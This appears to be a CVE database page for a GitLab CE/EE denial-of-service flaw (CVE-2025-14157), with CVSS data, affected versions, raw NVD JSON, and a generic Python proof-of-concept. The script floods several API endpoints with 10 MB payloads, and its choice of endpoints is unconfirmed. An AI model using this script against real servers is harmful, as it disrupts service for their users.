Security Vulnerability Report
中文
CVE-2025-14157 CVSS 6.5 MEDIUM

CVE-2025-14157

Published: 2025-12-11 04:15:59
Last Modified: 2025-12-23 21:05:36

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 6.3 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to cause a Denial of Service condition by sending crafted API calls with large content parameters.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 6.3 且 < 18.4.6
GitLab CE/EE >= 18.5.0 且 < 18.5.4
GitLab CE/EE >= 18.6.0 且 < 18.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14157 PoC - GitLab DoS via large API parameters # Target: GitLab CE/EE < 18.4.6, < 18.5.4, < 18.6.2 TARGET_URL = "https://gitlab.example.com" API_TOKEN = "your_gitlab_access_token" def create_large_payload(size_mb=10): """Generate large content parameter to trigger DoS""" return "A" * (size_mb * 1024 * 1024) def exploit_gitlab_dos(): headers = { "PRIVATE-TOKEN": API_TOKEN, "Content-Type": "application/json" } # Create large payload to trigger resource exhaustion large_payload = create_large_payload(10) # Example: Send crafted API request with large parameters # Targeting GitLab API endpoint that accepts content parameters endpoints = [ "/api/v4/projects", "/api/v4/issues", "/api/v4/merge_requests" ] for endpoint in endpoints: data = { "description": large_payload, "name": "test_project" } try: response = requests.post( f"{TARGET_URL}{endpoint}", headers=headers, json=data, timeout=30 ) print(f"[*] Request sent to {endpoint}: Status {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Request timeout - DoS condition likely triggered") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("CVE-2025-14157 PoC - GitLab DoS via large API parameters") exploit_gitlab_dos()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14157", "sourceIdentifier": "[email protected]", "published": "2025-12-11T04:15:58.947", "lastModified": "2025-12-23T21:05:35.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 6.3 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to cause a Denial of Service condition by sending crafted API calls with large content parameters."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "6.3.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "01ACB49B-CBA3-4902-A183-F15B9E2155CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "6.3.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "1393246E-BD13-45EB-A366-F79C8BB68324"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "457DB333-60BE-44CD-A674-216AB658E14E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "910967DB-0A8C-4436-9D9E-37BD610E7367"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "919A2588-3EA1-4E15-B47E-61B3E14B2781"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "6343A083-3E1C-4551-B230-76CABC3FDD67"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/574324", "source": "[email protected]", "tags": ["Broken Link"]}]}}